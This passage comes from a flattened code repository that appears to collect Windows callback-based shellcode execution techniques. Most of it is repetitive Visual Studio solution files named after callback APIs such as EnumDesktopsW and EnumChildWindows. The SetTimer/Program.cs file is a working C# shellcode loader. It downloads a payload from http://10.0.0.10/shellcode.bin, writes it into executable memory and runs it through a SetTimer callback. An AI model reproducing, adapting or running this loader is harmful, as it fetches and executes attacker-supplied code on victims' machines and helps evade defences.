"{5B6F1100-D426-4AC0-A47C-88DA2470D7C0}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {5B6F1100-D426-4AC0-A47C-88DA2470D7C0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {5B6F1100-D426-4AC0-A47C-88DA2470D7C0}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {5B6F1100-D426-4AC0-A47C-88DA2470D7C0}.Debug|x64.ActiveCfg = Debug|x64 19 | {5B6F1100-D426-4AC0-A47C-88DA2470D7C0}.Debug|x64.Build.0 = Debug|x64 20 | {5B6F1100-D426-4AC0-A47C-88DA2470D7C0}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {5B6F1100-D426-4AC0-A47C-88DA2470D7C0}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {5B6F1100-D426-4AC0-A47C-88DA2470D7C0}.Release|x64.ActiveCfg = Release|x64 23 | {5B6F1100-D426-4AC0-A47C-88DA2470D7C0}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {A8471FE7-CE81-4F2F-A3DB-EDC620890E17} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumDesktopsW/EnumDesktopsW.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumDesktopsW", "EnumDesktopsW\EnumDesktopsW.csproj", "{9DF9DC88-9208-444E-AF4B-DF6A9FE72982}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {9DF9DC88-9208-444E-AF4B-DF6A9FE72982}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {9DF9DC88-9208-444E-AF4B-DF6A9FE72982}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {9DF9DC88-9208-444E-AF4B-DF6A9FE72982}.Debug|x64.ActiveCfg = Debug|x64 19 | {9DF9DC88-9208-444E-AF4B-DF6A9FE72982}.Debug|x64.Build.0 = Debug|x64 20 | {9DF9DC88-9208-444E-AF4B-DF6A9FE72982}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {9DF9DC88-9208-444E-AF4B-DF6A9FE72982}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {9DF9DC88-9208-444E-AF4B-DF6A9FE72982}.Release|x64.ActiveCfg = Release|x64 23 | {9DF9DC88-9208-444E-AF4B-DF6A9FE72982}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {99C63C80-6DCA-4771-BEDF-C56252B8B539} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumPageFilesW/EnumPageFilesW.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumPageFilesW", "EnumPageFilesW\EnumPageFilesW.csproj", "{169E0A75-A977-4727-8B9E-EACBA8341199}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {169E0A75-A977-4727-8B9E-EACBA8341199}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {169E0A75-A977-4727-8B9E-EACBA8341199}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {169E0A75-A977-4727-8B9E-EACBA8341199}.Debug|x64.ActiveCfg = Debug|x64 19 | {169E0A75-A977-4727-8B9E-EACBA8341199}.Debug|x64.Build.0 = Debug|x64 20 | {169E0A75-A977-4727-8B9E-EACBA8341199}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {169E0A75-A977-4727-8B9E-EACBA8341199}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {169E0A75-A977-4727-8B9E-EACBA8341199}.Release|x64.ActiveCfg = Release|x64 23 | {169E0A75-A977-4727-8B9E-EACBA8341199}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {AAC1D15A-948F-4D96-A3FE-78AD07808898} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumPwrSchemes/EnumPwrSchemes.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumPwrSchemes", "EnumPwrSchemes\EnumPwrSchemes.csproj", "{FA9DB3CB-A889-4A61-91B9-735EE2FB5204}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {FA9DB3CB-A889-4A61-91B9-735EE2FB5204}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {FA9DB3CB-A889-4A61-91B9-735EE2FB5204}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {FA9DB3CB-A889-4A61-91B9-735EE2FB5204}.Debug|x64.ActiveCfg = Debug|x64 19 | {FA9DB3CB-A889-4A61-91B9-735EE2FB5204}.Debug|x64.Build.0 = Debug|x64 20 | {FA9DB3CB-A889-4A61-91B9-735EE2FB5204}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {FA9DB3CB-A889-4A61-91B9-735EE2FB5204}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {FA9DB3CB-A889-4A61-91B9-735EE2FB5204}.Release|x64.ActiveCfg = Release|x64 23 | {FA9DB3CB-A889-4A61-91B9-735EE2FB5204}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {9F70A16B-CEE7-4648-B3EF-F1860A56A4A2} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /CallWindowProcW/CallWindowProcW.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CallWindowProcW", "CallWindowProcW\CallWindowProcW.csproj", "{26E11E65-DC63-49B1-9776-BA40B09CC53A}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {26E11E65-DC63-49B1-9776-BA40B09CC53A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {26E11E65-DC63-49B1-9776-BA40B09CC53A}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {26E11E65-DC63-49B1-9776-BA40B09CC53A}.Debug|x64.ActiveCfg = Debug|x64 19 | {26E11E65-DC63-49B1-9776-BA40B09CC53A}.Debug|x64.Build.0 = Debug|x64 20 | {26E11E65-DC63-49B1-9776-BA40B09CC53A}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {26E11E65-DC63-49B1-9776-BA40B09CC53A}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {26E11E65-DC63-49B1-9776-BA40B09CC53A}.Release|x64.ActiveCfg = Release|x64 23 | {26E11E65-DC63-49B1-9776-BA40B09CC53A}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {3E47FD29-78BA-43D2-9344-6D4BFED96452} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumSystemGeoID/EnumSystemGeoID.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumSystemGeoID", "EnumSystemGeoID\EnumSystemGeoID.csproj", "{E52F7377-1D34-45FA-8F70-6C1723F3C5F6}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {E52F7377-1D34-45FA-8F70-6C1723F3C5F6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {E52F7377-1D34-45FA-8F70-6C1723F3C5F6}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {E52F7377-1D34-45FA-8F70-6C1723F3C5F6}.Debug|x64.ActiveCfg = Debug|x64 19 | {E52F7377-1D34-45FA-8F70-6C1723F3C5F6}.Debug|x64.Build.0 = Debug|x64 20 | {E52F7377-1D34-45FA-8F70-6C1723F3C5F6}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {E52F7377-1D34-45FA-8F70-6C1723F3C5F6}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {E52F7377-1D34-45FA-8F70-6C1723F3C5F6}.Release|x64.ActiveCfg = Release|x64 23 | {E52F7377-1D34-45FA-8F70-6C1723F3C5F6}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {A577F02C-803B-4B2B-A0B6-BA1FF551E0D1} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /CryptEnumOIDInfo/CryptEnumOIDInfo.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CryptEnumOIDInfo", "CryptEnumOIDInfo\CryptEnumOIDInfo.csproj", "{C049D4A4-673C-4C98-8812-B66D507CB6BE}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {C049D4A4-673C-4C98-8812-B66D507CB6BE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {C049D4A4-673C-4C98-8812-B66D507CB6BE}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {C049D4A4-673C-4C98-8812-B66D507CB6BE}.Debug|x64.ActiveCfg = Debug|x64 19 | {C049D4A4-673C-4C98-8812-B66D507CB6BE}.Debug|x64.Build.0 = Debug|x64 20 | {C049D4A4-673C-4C98-8812-B66D507CB6BE}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {C049D4A4-673C-4C98-8812-B66D507CB6BE}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {C049D4A4-673C-4C98-8812-B66D507CB6BE}.Release|x64.ActiveCfg = Release|x64 23 | {C049D4A4-673C-4C98-8812-B66D507CB6BE}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {539F022D-C117-418C-9219-495835761719} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumCalendarInfo/EnumCalendarInfo.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumCalendarInfo", "EnumCalendarInfo\EnumCalendarInfo.csproj", "{FC731635-4DDE-4566-B9E5-9231561C0EC5}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {FC731635-4DDE-4566-B9E5-9231561C0EC5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {FC731635-4DDE-4566-B9E5-9231561C0EC5}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {FC731635-4DDE-4566-B9E5-9231561C0EC5}.Debug|x64.ActiveCfg = Debug|x64 19 | {FC731635-4DDE-4566-B9E5-9231561C0EC5}.Debug|x64.Build.0 = Debug|x64 20 | {FC731635-4DDE-4566-B9E5-9231561C0EC5}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {FC731635-4DDE-4566-B9E5-9231561C0EC5}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {FC731635-4DDE-4566-B9E5-9231561C0EC5}.Release|x64.ActiveCfg = Release|x64 23 | {FC731635-4DDE-4566-B9E5-9231561C0EC5}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {3FE5E7D3-A348-4E7D-9CC1-9D5800BA7AC9} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumChildWindows/EnumChildWindows.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumChildWindows", "EnumChildWindows\EnumChildWindows.csproj", "{87FCBA3B-29BE-472B-B944-E4EBF35B1468}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {87FCBA3B-29BE-472B-B944-E4EBF35B1468}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {87FCBA3B-29BE-472B-B944-E4EBF35B1468}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {87FCBA3B-29BE-472B-B944-E4EBF35B1468}.Debug|x64.ActiveCfg = Debug|x64 19 | {87FCBA3B-29BE-472B-B944-E4EBF35B1468}.Debug|x64.Build.0 = Debug|x64 20 | {87FCBA3B-29BE-472B-B944-E4EBF35B1468}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {87FCBA3B-29BE-472B-B944-E4EBF35B1468}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {87FCBA3B-29BE-472B-B944-E4EBF35B1468}.Release|x64.ActiveCfg = Release|x64 23 | {87FCBA3B-29BE-472B-B944-E4EBF35B1468}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {3FA6A5DE-DF46-439F-9848-C5E6D63844F4} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumDateFormatsW/EnumDateFormatsW.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumDateFormatsW", "EnumDateFormatsW\EnumDateFormatsW.csproj", "{7999A66F-AA53-4529-B14E-7640AAD9F823}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {7999A66F-AA53-4529-B14E-7640AAD9F823}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {7999A66F-AA53-4529-B14E-7640AAD9F823}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {7999A66F-AA53-4529-B14E-7640AAD9F823}.Debug|x64.ActiveCfg = Debug|x64 19 | {7999A66F-AA53-4529-B14E-7640AAD9F823}.Debug|x64.Build.0 = Debug|x64 20 | {7999A66F-AA53-4529-B14E-7640AAD9F823}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {7999A66F-AA53-4529-B14E-7640AAD9F823}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {7999A66F-AA53-4529-B14E-7640AAD9F823}.Release|x64.ActiveCfg = Release|x64 23 | {7999A66F-AA53-4529-B14E-7640AAD9F823}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {A26F5001-5157-4378-A20D-97CB1B377F21} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumUILanguagesW/EnumUILanguagesW.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumUILanguagesW", "EnumUILanguagesW\EnumUILanguagesW.csproj", "{86EC4ABF-83BB-4C5A-B27E-CCD56F1E4300}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {86EC4ABF-83BB-4C5A-B27E-CCD56F1E4300}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {86EC4ABF-83BB-4C5A-B27E-CCD56F1E4300}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {86EC4ABF-83BB-4C5A-B27E-CCD56F1E4300}.Debug|x64.ActiveCfg = Debug|x64 19 | {86EC4ABF-83BB-4C5A-B27E-CCD56F1E4300}.Debug|x64.Build.0 = Debug|x64 20 | {86EC4ABF-83BB-4C5A-B27E-CCD56F1E4300}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {86EC4ABF-83BB-4C5A-B27E-CCD56F1E4300}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {86EC4ABF-83BB-4C5A-B27E-CCD56F1E4300}.Release|x64.ActiveCfg = Release|x64 23 | {86EC4ABF-83BB-4C5A-B27E-CCD56F1E4300}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {8A5694BB-6DD9-41BC-8A77-92919A57FE00} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /SetTimer/SetTimer/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace SetTimer 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | UIntPtr nIDEvent = UIntPtr.Zero; 22 | SetTimer(IntPtr.Zero, nIDEvent, 0, addr); 23 | 24 | IntPtr lpMsg = IntPtr.Zero; 25 | GetMessageW(ref lpMsg, IntPtr.Zero, 0, 0); 26 | 27 | DispatchMessageW(ref lpMsg); 28 | } 29 | 30 | [DllImport("kernel32.dll", SetLastError = true)] 31 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 32 | 33 | [DllImport("user32.dll")] 34 | static extern UIntPtr SetTimer(IntPtr hWnd, UIntPtr nIDEvent, uint uElapse, IntPtr lpTimerFunc); 35 | 36 | [DllImport("user32.dll")] 37 | static extern bool GetMessageW(ref IntPtr lpMsg, IntPtr hWnd, uint wMsgFilterMin, uint wMsgFilterMax); 38 | 39 | [DllImport("user32.dll")] 40 | static extern IntPtr DispatchMessageW(ref IntPtr lpMsg); 41 | } 42 | 43 | } 44 | 45 | -------------------------------------------------------------------------------- /SymEnumProcesses/SymEnumProcesses.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SymEnumProcesses", "SymEnumProcesses\SymEnumProcesses.csproj", "{0FA84DC0-A45E-4D12-82CB-B5B1512AC12F}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {0FA84DC0-A45E-4D12-82CB-B5B1512AC12F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {0FA84DC0-A45E-4D12-82CB-B5B1512AC12F}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {0FA84DC0-A45E-4D12-82CB-B5B1512AC12F}.Debug|x64.ActiveCfg = Debug|x64 19 | {0FA84DC0-A45E-4D12-82CB-B5B1512AC12F}.Debug|x64.Build.0 = Debug|x64 20 | {0FA84DC0-A45E-4D12-82CB-B5B1512AC12F}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {0FA84DC0-A45E-4D12-82CB-B5B1512AC12F}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {0FA84DC0-A45E-4D12-82CB-B5B1512AC12F}.Release|x64.ActiveCfg = Release|x64 23 | {0FA84DC0-A45E-4D12-82CB-B5B1512AC12F}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {48851CED-17C0-4637-AE71-358EEDFEF17E} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumSystemLocales/EnumSystemLocales.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumSystemLocales", "EnumSystemLocales\EnumSystemLocales.csproj", "{FACEABDD-778E-49BA-916C-5D9F8DD24CAC}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {FACEABDD-778E-49BA-916C-5D9F8DD24CAC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {FACEABDD-778E-49BA-916C-5D9F8DD24CAC}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {FACEABDD-778E-49BA-916C-5D9F8DD24CAC}.Debug|x64.ActiveCfg = Debug|x64 19 | {FACEABDD-778E-49BA-916C-5D9F8DD24CAC}.Debug|x64.Build.0 = Debug|x64 20 | {FACEABDD-778E-49BA-916C-5D9F8DD24CAC}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {FACEABDD-778E-49BA-916C-5D9F8DD24CAC}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {FACEABDD-778E-49BA-916C-5D9F8DD24CAC}.Release|x64.ActiveCfg = Release|x64 23 | {FACEABDD-778E-49BA-916C-5D9F8DD24CAC}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {38FB2AC3-A20A-47C0-B2D7-16A07EF498A2} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumThreadWindows/EnumThreadWindows.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumThreadWindows", "EnumThreadWindows\EnumThreadWindows.csproj", "{58E7C4E0-DB5E-483F-BC94-2BE382E1DC7B}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {58E7C4E0-DB5E-483F-BC94-2BE382E1DC7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {58E7C4E0-DB5E-483F-BC94-2BE382E1DC7B}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {58E7C4E0-DB5E-483F-BC94-2BE382E1DC7B}.Debug|x64.ActiveCfg = Debug|x64 19 | {58E7C4E0-DB5E-483F-BC94-2BE382E1DC7B}.Debug|x64.Build.0 = Debug|x64 20 | {58E7C4E0-DB5E-483F-BC94-2BE382E1DC7B}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {58E7C4E0-DB5E-483F-BC94-2BE382E1DC7B}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {58E7C4E0-DB5E-483F-BC94-2BE382E1DC7B}.Release|x64.ActiveCfg = Release|x64 23 | {58E7C4E0-DB5E-483F-BC94-2BE382E1DC7B}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = 